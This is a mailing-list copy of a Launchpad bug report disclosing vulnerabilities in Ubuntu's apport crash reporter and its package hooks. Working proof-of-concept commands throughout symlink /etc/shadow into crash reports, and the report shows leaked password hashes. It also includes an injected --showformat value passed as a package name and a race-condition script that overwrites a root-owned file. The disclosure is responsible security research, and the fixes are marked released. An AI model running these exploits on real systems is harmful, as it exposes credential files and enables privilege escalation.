[Bug 1917904] Re: Arbitrary file reads
SatoshiNakamoto
1917904 at bugs.launchpad.net
Sat Jun 19 22:28:07 UTC 2021
** Changed in: apport (Ubuntu Bionic)
Assignee: (unassigned) => SatoshiNakamoto (evansanita713)
** Changed in: apport (Ubuntu Focal)
Assignee: (unassigned) => SatoshiNakamoto (evansanita713)
** Changed in: apport (Ubuntu Groovy)
Assignee: (unassigned) => SatoshiNakamoto (evansanita713)
** Changed in: apport (Ubuntu Hirsute)
Assignee: (unassigned) => SatoshiNakamoto (evansanita713)
** Changed in: apport (Ubuntu Impish)
Assignee: (unassigned) => SatoshiNakamoto (evansanita713)
** Information type changed from Public Security to Private Security
--
You received this bug notification because you are a member of Ubuntu
Foundations Bugs, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1917904
Title:
Arbitrary file reads
Status in apport package in Ubuntu:
Fix Released
Status in apport source package in Bionic:
Fix Released
Status in openjdk-lts source package in Bionic:
New
Status in apport source package in Focal:
Fix Released
Status in openjdk-lts source package in Focal:
New
Status in apport source package in Groovy:
Fix Released
Status in openjdk-lts source package in Groovy:
New
Status in apport source package in Hirsute:
Fix Released
Status in openjdk-lts source package in Hirsute:
New
Status in apport source package in Impish:
Fix Released
Status in openjdk-lts source package in Impish:
New
Bug description:
# Vulnerabilities in Apport
During a cursory code review, several potential security issues in `apport` and crash-related hooks in packages such as `Xorg` and `openjdk-14-lts` have been identified.
While the issue regarding the `openjdk-14-lts` package is exploitable
on default installations, the remaining issues most likely are mitigated by the sysctl setting `fs.protected_symlinks` on default Ubuntu installations.
With regard to issues mitigated by `fs.protected_symlinks`, it is not
clear if they are considered to be part of the threat model, but
nonetheless will be included in this report. Further, if the issues
regarding package hooks should be reported in the corresponding
packages' bug tracker, please let me know.
## Issue 1: Arbitrary file read in package-hooks/source_openjdk-*.py
The `add_info()` function allows for a directory traversal by building a file path using user-controlled data without properly sanitizing the resulting path.
```Python
def add_info(report, ui=None):
if report['ProblemType'] == 'Crash' and 'ProcCwd' in report:
# attach hs_err_<pid>.pid file
cwd = report['ProcCwd']
pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])
if pid_line:
pid = pid_line.groups()[0]
path = "%s/hs_err_pid%s.log" % (cwd, pid)
# make sure if exists
if os.path.exists(path):
content = read_file(path)
# truncate if bigger than 100 KB
# see LP: #1696814
max_length = 100*1024
if sys.getsizeof(content) < max_length:
report['HotspotError'] = content
report['Tags'] += ' openjdk-hs-err'
else:
report['HotspotError'] = content[:max_length] + \
"\n[truncated by openjdk-11 apport hook]" + \
"\n[max log size is %s, file size was %s]" % \
(si_units(max_length), si_units(sys.getsizeof(content)))
report['Tags'] += ' openjdk-hs-err'
```
By injecting a `ProcCwd` such as `/home/user/` and a `Pid` such as
`0`, the function includes an arbitrary file by following a potential
symbolic link `/home/user/hs_err_pid0.log`.
### PoC
```
$ sudo apt install openjdk-14-jdk
$ sudo sysctl fs.protected_symlinks
fs.protected_symlinks = 1
$ ln -s /etc/shadow /home/user/hs_err_pid0.log
$ pid=$'\t0';cat << EOF > /var/crash/poc.crash
ProblemType: Crash
ExecutablePath: /poc
Package: openjdk-lts 123
SourcePackage: openjdk-lts
ProcCwd: /home/user
ProcStatus:
Pid:$pid
Uid:$pid
EOF
$ grep -A3 root: /var/crash/poc.crash
root:!:18393:0:99999:7:::
daemon:*:18375:0:99999:7:::
bin:*:18375:0:99999:7:::
sys:*:18375:0:99999:7:::
```
## Issue 2: Arbitrary file read in package-hooks/source_xorg.py (Info)
The root cause of this issue stems from the fact, that a potentially
user-controlled file in the `/tmp` directory is not checked for being a symbolic link and therefore might allow including arbitrary files in the processed crash report:
Note: Requires `fs.protected_symlinks=0`
```Python
def attach_3d_info(report, ui=None):
...
# Compiz internal state if compiz crashed
if True or report.get('SourcePackage','Unknown') == "compiz" and "ProcStatus" in report:
compiz_pid = 0
pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])
if pid_line:
compiz_pid = pid_line.groups()[0]
compiz_state_file = '/tmp/compiz_internal_state%s' % compiz_pid
attach_file_if_exists(report, compiz_state_file, "compiz_internal_states")
```
### PoC
```
$ sudo sysctl fs.protected_symlinks=0
fs.protected_symlinks = 0
$ ln -s /etc/shadow /tmp/compiz_internal_state0
$ cat << EOF > /var/crash/poc.crash
ProblemType: Crash
ExecutablePath: /poc
Package: source_xorg 123
SourcePackage: compiz
ProcStatus:
Pid:
EOF
$ grep -A3 compiz_internal poc.crash
compiz_internal_states:
root:!:18686:0:99999:7:::
daemon:*:18474:0:99999:7:::
bin:*:18474:0:99999:7:::
```
## Issue 3: Spoof modified config files via argument injection (Info)
The `get_modified_conffiles()` function allows to spoof modified configuration files by a controlled package name:
```Python
def get_modified_conffiles(self, package):
...
dpkg = subprocess.Popen(['dpkg-query', '-W', '--showformat=${Conffiles}',
package], stdout=subprocess.PIPE)
```
By supplying a `package` name such as
`--showformat='${Conffiles;6}shadow 1\n'` it is possible to manipulate dpkg-query's output and therefore to include the `shadow` file in the resulting crash report.
Please note however that this function is seemingly only called in the `attach_conffiles()` function, which subsequently requires a UI response
of the user to finally include the file in the crash report.
### PoC
```
$ dpkg-query -W --showformat='${Conffiles}' --showformat='${Conffiles;6}shadow 1\n' | head -n2
/etc/shadow 1
shadow 1
```
## Issue 4: Arbitrary file write in whoopsie-upload-all (Info)
After adding additional information to the crash file, `whoopsie-upload-all` does not check if the crash file was replaced by a symbolic link before writing the extended report back into the file. Thus, replacing the crash file with a symbolic link allows to write into arbitrary files using `whoopsie-upload-all`'s elevated privileges. By using a program's lax configuration parsing (e.g. `logrotate`), this might lead to code execution.
Note: Requires `fs.protected_symlinks=0`
```Python
def process_report(report):
'''Collect information for a report and mark for whoopsie upload
...
# write updated report, we use os.open and os.fdopen as
# /proc/sys/fs/protected_regular is set to 1 (LP: #1848064)
fd = os.open(report, os.O_WRONLY | os.O_APPEND)
with os.fdopen(fd, 'wb') as f:
os.chmod(report, 0)
r.write(f, only_new=True)
os.chmod(report, 0o640)
```
### PoC
```
$ sudo sysctl fs.protected_symlinks
fs.protected_symlinks = 0
$ cat ex.sh
TARGET="/JRN"
while :; do
FN="/var/crash/$RANDOM.poc.crash"
pid=$'\t0';cat << EOF > $FN
ProblemType: Crash
ExecutablePath: /poc
Package: openjdk-lts 123
SourcePackage: openjdk-lts
ProcCwd: /home/user
ProcStatus:
Pid:$pid
Uid:$pid
EOF
while :; do
if ps aux|grep -q "[w]hoopsie-upload-all";then break; fi
done
sleep 0.3
rm -f $FN
ln -s $TARGET $FN
if [ -s /JRN ]; then echo DONE.; break; fi
done
$ sudo touch /JRN; ls -l /JRN # simulating file in e.g. /etc/logrotate.d/
-rw-r--r-- 1 root root 0 M�r 3 14:15 /JRN
$ bash ex.sh
DONE.
$ ls -l /JRN; sudo head -n3 /JRN
-rw-r----- 1 root root 105028 M�r 3 14:16 /JRN
ApportVersion: 2.20.11-0ubuntu27.16
Architecture: amd64
CasperMD5CheckResult: skip
```
# Credits
Please credit maik at secfault-security.com (@fktio) if the issues are considered valid. Further, please coordinate the patch release date with us, in case we consider publishing a short article about these issues.
Best regards,
maik
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1917904/+subscriptions
More information about the foundations-bugs
mailing list